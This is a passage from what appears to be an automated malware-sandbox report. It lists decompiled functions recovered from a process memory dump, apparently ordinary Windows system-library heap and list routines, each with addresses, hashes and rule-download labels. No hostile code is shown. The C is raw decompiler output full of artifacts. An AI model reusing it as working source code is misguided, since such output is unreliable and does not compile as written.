					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E1E3B7D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E1E3D9AE0();
					_t24 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x1e417799
0x1e41779a
0x1e41779b
0x1e4177a3
0x1e4177ab
0x1e4177ae
0x1e4177b1
0x1e4177b1
0x1e4177bf
0x1e4177c4
0x1e4177c8
0x1e4177ce
0x1e4177d4
0x1e4177e0
0x1e4177e0
0x1e4177d6
0x1e4177d6
0x1e4177de
0x00000000
0x00000000
0x1e4177de
0x1e4177e5
0x1e4177f0
0x1e4177f3
0x1e4177f6
0x1e4177fd
0x1e417800
0x1e41780c
0x1e417818
0x1e41782b
0x1e41781a
0x1e417823
0x1e417823
0x1e417830
0x1e417831
0x1e417838
0x1e41783d
0x1e41783e
0x1e41784f
0x1e41784f
0x1e41785a

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f249a1f4f1a0e347c73b6d976a7a4721ed84079e90460c07daa9cf24f9ab4c3
Instruction ID: 71b50cd16a2696048a4da2119d3ae8ed371e40afcb47ab40cd9c4eadbfeac8fe
Opcode Fuzzy Hash: 2f249a1f4f1a0e347c73b6d976a7a4721ed84079e90460c07daa9cf24f9ab4c3
Instruction Fuzzy Hash: BD219D76A00644ABCB15CF69D894EABB7A9EF49340F10066EE50ACB750E734E900CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CFD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E1E3CFD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E1E3A76E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x1e3cfd9b
0x1e3cfda0
0x1e3cfda1
0x1e3cfdab
0x1e3cfdad
0x1e3cfdb0
0x1e3cfdb8
0x1e3cfe0f
0x1e3cfde6
0x1e3cfde9
0x1e3cfdec
0x1e40c0c0
0x1e3cfdfe
0x1e3cfe06
0x1e3cfe06
0x1e40c0c8
0x1e3cfe2d
0x1e3cfe2d
0x00000000
0x1e3cfe2d
0x1e40c0d1
0x1e40c0e0
0x1e40c0e5
0x1e40c0e5
0x1e40c0e8
0x00000000
0x1e40c0e8
0x1e3cfdf4
0x00000000
0x00000000
0x1e3cfdf6
0x1e3cfdfa
0x1e3cfe1a
0x1e3cfe1f
0x1e3cfe1f
0x1e3cfdfc
0x00000000
0x1e3cfdfc
0x1e3cfdcc
0x1e3cfdd0
0x1e3cfe26
0x00000000
0x1e3cfe26
0x1e3cfdd8
0x1e3cfddb
0x1e3cfddd
0x1e3cfde0
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 99fad2654cc1f1e385530a4ce77e0f09441074644796c9a7963500190d4ec42e
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 19217C72A00681DBC325CF5AC554A56B7EAEB94A10F21877EE94587B15D731ED80CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1E399240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1E399240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x1e46f708);
				E1E3ED08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E1E3D95D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E1E3D95D0();
				_t33 =  *0x1e4884c4; // 0x0
				L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x1e4884c4; // 0x0
				L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x1e4884c4; // 0x0
				E1E3B2280(L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x1e4886b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E1E3D95D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E1E3D95D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E1E399325();
					_t50 =  *0x1e4884c4; // 0x0
					return E1E3ED0D1(L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x1e399240
0x1e399242
0x1e399247
0x1e39924c
0x1e39924e
0x1e399255
0x1e399257
0x1e39925a
0x1e39925f
0x1e39925f
0x1e399266
0x1e399271
0x1e399276
0x1e399279
0x1e39927e
0x1e399295
0x1e39929a
0x1e3992b1
0x1e3992b6
0x1e3992d7
0x1e3992dc
0x1e3992e0
0x1e3992e6
0x1e3992e8
0x1e3992ee
0x1e399332
0x1e399333
0x1e399337
0x1e399338
0x1e39933a
0x1e39933a
0x1e39933d
0x1e399342
0x1e399342
0x1e399345
0x1e399349
0x1e39934e
0x1e399352
0x1e399357
0x1e3992f4
0x1e3992f4
0x1e3992f6
0x1e3992f9
0x1e399300
0x1e399306
0x1e399324
0x1e399324

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4c4e5d3b7f434d30946a6bc4d13ca9514994aac9ad446c36863ee1d211aa7532
Instruction ID: f251e28c914b2ff8920e4b2c87e48638cefb6ce37ba8c5e1f1676dfec8ee43ae
Opcode Fuzzy Hash: 4c4e5d3b7f434d30946a6bc4d13ca9514994aac9ad446c36863ee1d211aa7532
Instruction Fuzzy Hash: D6215936040681DFC322DF68CA80F59B7BAFF08704F584B68E04A8AAA1DB35E941DB44

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CB390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E1E3CB390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E1E3B2280(_t12, 0x1e488608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E1E3D00C2(0x1e488608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x1e3cb395
0x1e3cb3a2
0x1e3cb3a5
0x1e3cb3aa
0x1e3cb3b2
0x1e3cb3ba
0x1e3cb3bd
0x1e3cb3c0
0x1e3cb3c4
0x1e3cb3c9
0x1e40a3e9
0x1e40a3ed
0x1e40a3f0
0x1e40a3ff
0x1e40a403
0x1e40a409
0x00000000
0x00000000
0x1e40a40b
0x1e40a40b
0x1e40a40f
0x1e40a415
0x1e40a423
0x1e40a423
0x1e40a415
0x1e3cb3d1
0x1e3cb3e8
0x1e3cb3e8
0x1e3cb3d9

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e7fe9136c204d2e6c121d03876cba57e15bbdfa44840b2c7534ece6c7e4d77
Instruction ID: 17b6644affd13b8d64f5ab3e764570df698f121558fe3a6d151f7f65d4cf3a76
Opcode Fuzzy Hash: d9e7fe9136c204d2e6c121d03876cba57e15bbdfa44840b2c7534ece6c7e4d77
Instruction Fuzzy Hash: 0A1148373111109FCB19CA66AD81A5BB39BEBC9770F69073AD916DB780CA31AC02D694

Uniqueness

Uniqueness Score: -1.00%

Function 1E424257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E1E424257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x1e4708d0);
				E1E3ED08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E1E4241E8(__ebx, __edi, __ecx, _t39);
				E1E3AEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x1e4887e4;
					_t18 =  *0x1e4887e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x1e485cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x1e4887e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x1e4887e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L1E397055(_t31 + 0xfffffff8);
								_t24 =  *0x1e4887e0; // 0x0
								_t18 = _t24 - 1;
								 *0x1e4887e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x1e485cd0;
				if( *0x1e485cd0 <= 0) {
					L1E397055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x1e4887e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x1e4887e8 = _t30;
						 *0x1e4887e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E1E3ED0D1(L1E424320());
			}

0x1e424257
0x1e424257
0x1e424257
0x1e424259
0x1e42425e
0x1e424263
0x1e424265
0x1e424273
0x1e424278
0x1e42427c
0x1e42427f
0x1e424281
0x1e424287
0x1e4242d7
0x1e4242d7
0x1e4242da
0x1e42428d
0x1e42428d
0x1e42428f
0x1e424292
0x1e424297
0x1e42429c
0x1e4242a0
0x1e4242a6
0x1e4242a8
0x1e4242ae
0x1e4242b3
0x00000000
0x1e4242ba
0x1e4242ba
0x1e4242bf
0x1e4242c5
0x1e4242ca
0x1e4242cf
0x1e4242d0
0x00000000
0x1e4242d0
0x1e4242b3
0x00000000
0x1e4242a6
0x1e42429c
0x1e4242dc
0x1e4242dc
0x1e4242e3
0x1e424309
0x1e4242e5
0x1e4242e5
0x1e4242e8
0x1e4242ee
0x1e4242f0
0x00000000
0x1e4242f2
0x1e4242f2
0x1e4242f4
0x1e4242f7
0x1e4242f9
0x1e424300
0x1e424300
0x1e4242f0
0x1e42430e
0x1e42431f

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27eae7d2a5c148432e0a1dce4efeda3b9f55b0eeb1d5531cc4b85682014caee6
Instruction ID: a1d471ac5f66d57c032db5bbd2e114765f9caa48eb83e2faadec99b345e16d55
Opcode Fuzzy Hash: 27eae7d2a5c148432e0a1dce4efeda3b9f55b0eeb1d5531cc4b85682014caee6
Instruction Fuzzy Hash: 6E213874901A52CFD316CFA6E480A48F7B1FB89794F9087AEC144CB794DB35E481CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E4146A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E1E4146A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E1E3DF3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E1E3CD268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L1E3B77F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x1e4146b7
0x1e4146ba
0x1e4146c5
0x1e4146c8
0x1e4146d0
0x1e4146d4
0x1e4146e6
0x1e4146e9
0x1e4146f4
0x1e4146ff
0x1e414705
0x1e414706
0x1e41470c
0x1e414713
0x1e41471b
0x1e414723
0x1e414725
0x1e4146d6
0x1e4146d9
0x1e4146db
0x1e4146db
0x1e414732

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: 68b9403ba8705c3910f93df43260d95955ba76339f429648ac43502b533bb1d7
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: E0112576904248BFCB018F5CD8808BEB7B9EF85304F10816AF944CB350DB319D55C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C2397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E1E3C2397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x1e48848c != 0) {
					L1E3BFAD0(0x1e488610);
					if( *0x1e48848c == 0) {
						E1E3BFA00(0x1e488610, _t19, _t27, 0x1e488610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E1E3C2581(0x1e488610, 0x1e3750a0, _t26, _t27, _t28);
						E1E3BFA00(0x1e488610, 0x1e3750a0, _t27, 0x1e488610);
					}
				} else {
					L1:
					_t11 =  *0x1e488614; // 0x1
					if(_t11 == 0) {
						_t11 = E1E3D4886(0x1e371088, 1, 0x1e488614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E1E3C2581(0x1e488610, (_t11 << 4) + 0x1e375070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x1e3c23b0
0x1e3c23b6
0x1e3c2409
0x1e3c2415
0x1e405ae9
0x00000000
0x1e3c241b
0x1e3c241b
0x1e3c241d
0x1e3c2427
0x1e3c242e
0x1e3c2430
0x1e3c2430
0x1e3c23b8
0x1e3c23b8
0x1e3c23b8
0x1e3c23bf
0x1e3c23fc
0x1e3c23fc
0x1e3c23c1
0x1e3c23c3
0x1e3c23d0
0x1e3c23d8
0x1e3c23d8
0x1e3c23dc
0x1e3c23de
0x1e3c23e1
0x1e3c23e1
0x1e3c23ec

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498d1597b758c4171b01899c1b7e9e39be0436e71dd533276d49450ce963c671
Instruction ID: 4f9c2bb4bc5c835254e86976bcce909bc6581fad5497d2d40ee98b4a3dbe0284
Opcode Fuzzy Hash: 498d1597b758c4171b01899c1b7e9e39be0436e71dd533276d49450ce963c671
Instruction Fuzzy Hash: 65112B36640790ABE724867EBC90F19F3DDBB94E10F944B2BF50AA7680DB74EC418754

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D37F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1E3D37F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E1E3B2280(_t6, 0x1e488550);
				}
				_t29 = E1E3D387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E1E3AFFB0(0x1e488550, _t27, 0x1e488550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x1e3d37fa
0x1e3d37fc
0x1e3d3805
0x1e3d3808
0x1e3d3808
0x1e3d3814
0x1e3d3818
0x1e3d3846
0x1e3d3848
0x1e3d384b
0x1e3d384b
0x1e3d3852
0x00000000
0x1e3d3854
0x1e3d3856
0x00000000
0x00000000
0x1e3d3863
0x00000000
0x1e3d3863
0x1e3d381a
0x1e3d381a
0x1e3d381f
0x1e3d386e
0x1e3d386e
0x1e3d3871
0x1e3d3873
0x1e3d3873
0x1e3d3868
0x00000000
0x1e3d3868
0x1e3d3821
0x1e3d3826
0x00000000
0x00000000
0x1e3d3828
0x1e3d382a
0x1e3d3841
0x00000000
0x1e3d3841

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b7889dbbb8e6c865e333bfff3340aa27ed5a7c499032f3ecd4b2c2cab5ab763
Instruction ID: 223cab5fde0417c6a4ea8c185bb30d9e88cf5adf6de6a1f63d84c9fe02422798
Opcode Fuzzy Hash: 2b7889dbbb8e6c865e333bfff3340aa27ed5a7c499032f3ecd4b2c2cab5ab763
Instruction Fuzzy Hash: 510126B39417A19BC3278B1AD940E2E7BA7FF85B60B55476DE8458B204C730DC19C780

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3C002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E1E3B7D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E1E3B7D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E1E3B7D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E1E3B7D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x1e3c0032
0x1e3c0037
0x1e3c0043
0x1e404b3a
0x1e3c0049
0x1e3c0049
0x1e3c0049
0x1e3c004e
0x1e3c0053
0x1e404b48
0x1e404b5a
0x1e404b4a
0x1e404b53
0x1e404b53
0x1e404b5f
0x00000000
0x1e404b61
0x00000000
0x1e404b61
0x1e3c0059
0x1e3c0059
0x1e3c0060
0x1e404b6f
0x1e404b6f
0x1e3c0069
0x1e404b83
0x00000000
0x00000000
0x1e404b90
0x1e404b9b
0x1e404b9b
0x1e404ba4
0x00000000
0x00000000
0x1e404baa
0x00000000
0x1e3c006f
0x1e3c006f
0x00000000
0x1e3c006f
0x1e3c0069

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: 01be917a4b7b86d67a46deb7012330d985bd76c2e713cc05db761b79b1d0cd5c
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 1411A1326256D18FD3028769C954B55B7EAEB42794F0A07F2DD04C7B92D728DC41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1E3A766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E1E3CF3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E1E3CF3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L1E3B4620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x1e3a7672
0x1e3a767f
0x1e3a7689
0x1e3a76de
0x1e3a76de
0x1e3a768b
0x1e3a7691
0x1e3a7693
0x1e3a7697
0x00000000
0x1e3a7699
0x1e3a76a8
0x00000000
0x1e3a76aa
0x1e3a76ad
0x1e3a76b1
0x00000000
0x1e3a76b3
0x1e3a76b3
0x1e3a76b5
0x1e3a76ba
0x1e3a76bc
0x1e3a76bc
0x1e3a76c0
0x00000000
0x1e3a76c2
0x1e3a76ce
0x1e3a76ce
0x1e3a76c0
0x1e3a76b1
0x1e3a76a8
0x1e3a7697
0x1e3a76d9

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: a27e27cdc785a28e5de4a529693f1a286426663c7080176ce456dbe86e6eba9d
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: A1018432710519ABD7118E5ECC95F5B77ADEFC4660B260724BA0ADB261DA30DD81C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 1E42C450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E1E42C450(intOrPtr* _a4) {
				signed char _t25;
